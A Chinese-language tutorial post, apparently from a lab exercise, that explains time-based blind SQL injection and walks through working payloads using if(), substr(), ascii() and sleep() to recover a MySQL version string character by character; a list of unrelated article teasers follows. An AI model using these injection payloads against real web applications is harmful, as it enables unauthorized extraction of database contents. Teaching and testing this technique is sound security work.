SQL注入之延时注入

文章目录

  • 延时注入是什么?
  • 延时注入获取数据库版本号

延时注入是什么?

延时注入就是利用sleep()函数通过if语句判断所写的语句真假,如果为真返回我们想要的东西(例如:数据库的长度,数据库的名字等)如果我们写的东西不符合则会利用sleep()函数让服务器休眠。

固定的理解sleep(x) 函数的意义是关键,就是个自行设定如果判断成功那么就会延迟x秒

延时注入的关键是sleep函数和if语句,通过sleep函数判断语句的真假,为真延迟对应的秒数,为假就无延迟

延时注入获取数据库版本号

substr函数:截取字符

ascii:将截取的字符转为ASCII值进行判断

sleep:为真休眠,如果不为真,if函数返回后面的值1,and 1为真,所以会输出前面的内容。

判断版本号长度:

?id=2' and if(length(version()))=6,sleep(5),1) --+

有延时,返回为真,版本号长度为6个字符

用ASCII码判断版本号第一个字符:

?id=2' and if(ascii(substr(version(),1,1))=53,sleep(5),1) --+

有延时,返回为真,第一个字符ASCII码为53,即数字5

在这里插入图片描述

用ASCII码判断版本号第二个字符:

?id=2' and if(ascii(substr(version(),2,1))=46,sleep(5),1) --+

有延时,返回为真,第二个数字ASCII码为46,即字符.

在这里插入图片描述

用ASCII码判断版本号第三个字符:

?id=2' and if(ascii(substr(version(),3,1))=53,sleep(5),1) --+

有延时,返回为真,第三个字符ASCII码为53,即数字5

在这里插入图片描述

用ASCII码判断版本号第四个字符:

?id=2' and if(ascii(substr(version(),4,1))=46,sleep(5),1) --+

有延时,返回为真,第四个字符ASCII码为46,即字符.

在这里插入图片描述

用ASCII码判断版本号第五个字符:

?id=2' and if(ascii(substr(version(),5,1))=53,sleep(5),1) --+

有延时,返回为真,第五个字符ASCII码为53,即数字5

在这里插入图片描述

用ASCII码判断版本号第六个字符:

?id=2' and if(ascii(substr(version(),6,1))=51,sleep(5),1) --+

有延时,返回为真,第六个字符ASCII码为51,即数字3

在这里插入图片描述

所以,数据库版本号为:

5.5.53

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/81328.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

视频汇聚/视频云存储/视频监控管理平台EasyCVR提升网络稳定小tips来啦!

安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台可拓展性强、视频能力灵活、部署轻快,可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等,以及支持厂家私有协议与SDK接入,包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安…

【脚踢数据结构】图(纯享版)

(꒪ꇴ꒪ ),Hello我是祐言QAQ我的博客主页:C/C语言,Linux基础,ARM开发板,软件配置等领域博主🌍快上🚘,一起学习,让我们成为一个强大的攻城狮!送给自己和读者的…

Git:本地仓库创建和远程绑定

创建远程仓库 登录git网站,创建一个远程仓库 创建时可以选择仓库属性,公共/私有。仓库命名之类。创建完毕后可以在网站上看到仓库所在网址。 创建本地仓库 打开一个文件夹,鼠标右键Git Bash Here,打开git的命令行 git init//…

【C++11】future和async等

C11的future和async等关键字 1.async和future的概念 std::async 和 std::future 是 C11 引入的标准库功能,用于实现异步编程,使得在多线程环境中更容易处理并行任务。它们可以帮助你在不同线程中执行函数,并且能够方便地获取函数的结果。 在…

基于微信小程序的垃圾分类系统设计与实现(2.0 版本,附前后端代码)

博主介绍:✌程序员徐师兄、7年大厂程序员经历。全网粉丝30W、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 1 简介 视频演示地址: 基于微信小程序的智能垃圾分类回收系统,可作为毕业设计 小…

win11 设置小任务栏

设置后效果 以下两种工具均可 1、StartAllBack 2、Start11

Unity3d:GameFramework解析:实体,对象池,资源管理,获取计数,引用计数,自动释放

基本概念 1.GF万物基于引用池IReference 2.ObjectBase : IReference类的m_Target持有unity中Mono,资源,GameObejct 3.AssetObject : ObjectBase类m_Target持有Assetbundle中的Asset,具有获取,引用两个计数管理释放 4.ResourceObj…

嵌入式linux之QT交叉编译环境搭建(最简单实测通用版)

这里总结下用于嵌入式linux下的QT交叉编译环境搭建,留作备忘,分享给有需要的小伙伴。不管你的是什么嵌入式linux环境,实测过的通用方法总结。 环境准备 需要准备的环境要求如下: 1.虚拟机(vmvare15.5) 2.ubuntu18.04-x64的linu…

【Linux】一张图了解系统文件

首先先认识磁盘结构 系统文件分布图 文件查找 文件删除 文件的增删改查都是围绕inode来完成的,所以当我们要进行文件删除的时候,只需要通过inode来获取到它对应的block bitmap和inode bitmap数据块容器和保存文件属性的位置置为 0即可 ,如果想…

java+springboot+mysql农业园区管理系统

项目介绍: 使用javaspringbootmysql开发的农业园区管理系统,系统包含超级管理员、管理员、用户角色,功能如下: 超级管理员:管理员管理;用户管理;土地管理(租赁)&#x…

学习网络编程No.4【socket编程实战】

引言 北京时间:2023/8/19/23:01,耍了好几天,主要归咎于《我欲封天》这本小说,听了几个晚上之后逐渐入门,在闲暇时间又看了一下,小高潮直接来临,最终在三个昼夜下追完了,哈哈哈&…

边写代码边学习之Bidirectional LSTM

1. 什么是Bidirectional LSTM 双向 LSTM (BiLSTM) 是一种主要用于自然语言处理的循环神经网络。 与标准 LSTM 不同,输入是双向流动的,并且它能够利用双方的信息。 它也是一个强大的工具,可以在序列的两个方向上对单词和短语之间的顺序依赖…